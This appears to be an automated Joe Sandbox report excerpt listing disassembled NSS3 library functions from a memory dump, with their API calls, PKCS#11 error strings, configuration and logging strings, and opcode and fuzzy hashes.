PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C75EE3D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 1717a678c4c46101321808d0a9c9e1a279c1c434ca58c45f6b143910b651e5cc
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2971F272E117098FE718CF19CA8066AB7F2EB88304F54462DD85697B91DF39E910CB90

Function 6C685F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C686013

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction ID: 38834dc452ce8a1b1b20f1b251770a14d7110c7ef3dc98b347fac2535d338f06
Opcode Fuzzy Hash: 14b4b875245c0e39bfb9bdcb359ba095062cb82fd2d84282df35b9a915c0ad47
Instruction Fuzzy Hash: 99C13A70B161068BEB04CF19C4607EAB7F2AF45318F248168D996DBB42D735E841CBBD

Function 6C694DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C695125

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction ID: 826559f2a9d25413419ee12995902eb41e3c7a11193af4ccc0ae7207644daf12
Opcode Fuzzy Hash: ebaa2e94088d78c8c80073dc0fdb097ced412401b0e2d28aaf53b5172db32116
Instruction Fuzzy Hash: 1AE14A70A083418FDB54DF29D88466ABBF0FFCA308F51862DF89997251E7749985CBC2

Function 6C815E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C815B90: PR_Lock.NSS3(00010000,?,00000000,?,6C6FDF9B), ref: 6C815B9E
Part of subcall function 6C815B90: PR_Unlock.NSS3 ref: 6C815BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C815E23,6C6FE154), ref: 6C815EBF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: ec2a2a53018bbdca82154cbfbece55f3dba7b9826034141d05ba9ed6cc5bf0e6
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: E4519D72E0021A8FCB18CF59C9819AEF3F2FF88314B19456DD815B7745D730A941CBA0

Function 6C7CDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction ID: 43133cb5014ca07440ca977e0e8e27a4ac72752b04fd630fb5eafcf2f53bb965
Opcode Fuzzy Hash: 83c65b7ca4f8bf9a2a7c430f11555ce316c27f9fa4e20194675d3d72cea7ae65
Instruction Fuzzy Hash: CFF16B71B012068FDB08CF19C994BAA77B2BF89318F294178D8599B741CB35ED42CBD6

Function 6C761DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 53225a7b55ee110dae0b0959cd24f43606579e3e8c6751d98791ff9f608d4b57
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: CBD15832E096568BDB518E19C9883DA7763AB85328F1D8328CC646BFC6C37BD905C7D0

Function 6C6F8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction ID: 6d01779a70063dd31bdc8cd446351add9e5bd9461fd1d0e177660f244c9b9ba6
Opcode Fuzzy Hash: 1c804beb60f152f28dace6ad1841ca4e00470d3f5c7fbbae6553bd1ced87328c
Instruction Fuzzy Hash: 6411E632A012158FE714CF16D88475AB366BF8735CF0442AAD4254FA61C379D887C7C9

Function 6C7D0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction ID: 7611a9fb2afe6f60a53a9659bab54f9304f44d0e65880126670835a006925ae8
Opcode Fuzzy Hash: 8270500a4d13d0788092da27e000c401982113a0db392efca0c4a3888b01cffb
Instruction Fuzzy Hash: 4B11CE787043458FCB10DF28D8846AA7BA2FF85368F14807DD8198B701DB71E806CBA4

Function 6C743FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction ID: 79c048c17cad82dcc04769b25fd6ea0539a6986167ae0a8b0cacbd89815c27e9
Opcode Fuzzy Hash: a9fef800a9de135204074a25d75fa4a888e3830aa2a9259bfc588f5d1d0ce530
Instruction Fuzzy Hash: 13F0BE70A007598BCB10DF28C9441AAB7F4FF09258F008229EC89AB301EB30AAC4C7C1

Function 6C7D0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 46a34d47090a901f2c604abb865012d1dc264d9dca7e274dea12d43a830c5657
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 16E0923A202054A7DB148E09D555AA97359DF81619FB6907FCC5D9FA01D733F8038781

Function 6C6FCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction ID: e79cab1be96054b9d411e3fc04eb36d59bc3cd0820cfeda0c6bae4f122609af2
Opcode Fuzzy Hash: 7f9729af56fd808d51013a7c62880715b7cba419c9d2f2411846c1edeea55c7f
Instruction Fuzzy Hash: 5AC04838248608CFC744DE09E4999A83BA8AB8AA10B0400A4EA428B722DA21F800CA81

Function 6C731D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C731D46), ref: 6C732345

Strings

CKR_NEXT_OTP, xrefs: 6C73222F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C73204D
CKR_WRAPPED_KEY_INVALID, xrefs: 6C731FB5
CKR_DEVICE_ERROR, xrefs: 6C73229D
CKR_MUTEX_NOT_LOCKED, xrefs: 6C732225
CKR_STATE_UNSAVEABLE, xrefs: 6C732037
CKR_SIGNATURE_INVALID, xrefs: 6C7320CF
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C731F0F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C731DE0
CKR_PIN_INCORRECT, xrefs: 6C731D92
CKR_OK, xrefs: 6C731DFC
CKR_INFORMATION_SENSITIVE, xrefs: 6C7322B1
CKR_FUNCTION_CANCELED, xrefs: 6C731E73
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C731EE1
CKR_SAVED_STATE_INVALID, xrefs: 6C731E56
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C732320
CKR_PIN_INVALID, xrefs: 6C732057
CKR_BUFFER_TOO_SMALL, xrefs: 6C732183
CKR_DEVICE_MEMORY, xrefs: 6C731FF3
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C731FD7
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C73226B
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C732293, 6C73233F
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C732275
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C732319
rv = %s, xrefs: 6C732340
CKR_PIN_LEN_RANGE, xrefs: 6C732061
CKR_TOKEN_NOT_PRESENT, xrefs: 6C731F81
CKR_PIN_LOCKED, xrefs: 6C732075
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C732327
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C731F8B
CKR_OPERATION_ACTIVE, xrefs: 6C7322B8
rv = 0x%x, xrefs: 6C732312
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C732179
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C731F95
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C73218D
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C7322FF
CKR_MUTEX_BAD, xrefs: 6C731F49
CKR_DEVICE_REMOVED, xrefs: 6C732261
CKR_NEW_PIN_MODE, xrefs: 6C731E9F
CKR_FUNCTION_REJECTED, xrefs: 6C732289
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C732015
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C73232E
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C73227F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C731F77
CKR_PIN_EXPIRED, xrefs: 6C73206B
CKR_RANDOM_NO_RNG, xrefs: 6C7322A7
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C7320D9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction ID: d50a36ba4a699c05d4cc1004e740b8d89991a10af9cbf3d31047de330408f04a
Opcode Fuzzy Hash: 2c70205694d0fb8287f33a46dda1639a4a00d3983633f6d33a2a73d2ca963089
Instruction Fuzzy Hash: 0261133068E178C7D63C444C876D36C22249753305FA8F97BE78E8EE93D666CA4946D3

Function 6C765DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C765E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C765E5C
free.MOZGLUE(00000000), ref: 6C765E7E
free.MOZGLUE(00000000), ref: 6C765E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C765EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C765EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C765EF0
free.MOZGLUE(00000000), ref: 6C765F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C765F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C765F5B
free.MOZGLUE(00000000), ref: 6C765F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C765FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C765FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C765FC4
free.MOZGLUE(00000000), ref: 6C765FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C765FE9
free.MOZGLUE(00000000), ref: 6C765FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C766027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C76605A
PR_smprintf.NSS3(6C83AAF9,00000000), ref: 6C76606A
free.MOZGLUE(00000000), ref: 6C76607C
free.MOZGLUE(00000000), ref: 6C76609A
free.MOZGLUE(00000000), ref: 6C7660B2
free.MOZGLUE(?), ref: 6C7660CE

Strings

%s/%s, xrefs: 6C766055
configDir=, xrefs: 6C765F9D
secmod=, xrefs: 6C765FB1
forceSecmodChoice, xrefs: 6C765F55
flags, xrefs: 6C765E3A, 6C765EC6, 6C765F30
noModDB, xrefs: 6C765EEA
secmod.db, xrefs: 6C765EA0
pkcs11.txt, xrefs: 6C765F47, 6C765F7C, 6C76603A, 6C766053
readOnly, xrefs: 6C765E56

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction ID: ac926977577535b8a902f06a6bc4cd8e4e7980bf39ae0864e080f4ff4717480f
Opcode Fuzzy Hash: 0e47bf9a4df5924d9bb5fdd9432f2a69db1109b8ef3d9039a5425ab00acc8985
Instruction Fuzzy Hash: 829104F4A042115BEF518F66EE85BAA3BA8AF0634CF480470EC559BF43E735D904D7A2

Function 6C6F1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C6F1DA3

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C6F1DB2

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6F1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C6F1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C6F1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C6F1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C6F1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C6F1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C6F1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C6F1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C6F1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6F1F83
PR_SetLogFile.NSS3(00000000), ref: 6C6F1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C6F1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C6F1FCB
free.MOZGLUE(00000000), ref: 6C6F1FD2

Strings

timestamp, xrefs: 6C6F1EC4
NSPR_LOG_MODULES, xrefs: 6C6F1DAD
Unable to create nspr log file '%s', xrefs: 6C6F1FB3
NSPR_LOG_FILE, xrefs: 6C6F1F69
sync, xrefs: 6C6F1E46
bufsize, xrefs: 6C6F1E9B
, %n, xrefs: 6C6F1E6B
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C6F1E27
all, xrefs: 6C6F1F0E
append, xrefs: 6C6F1EE6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

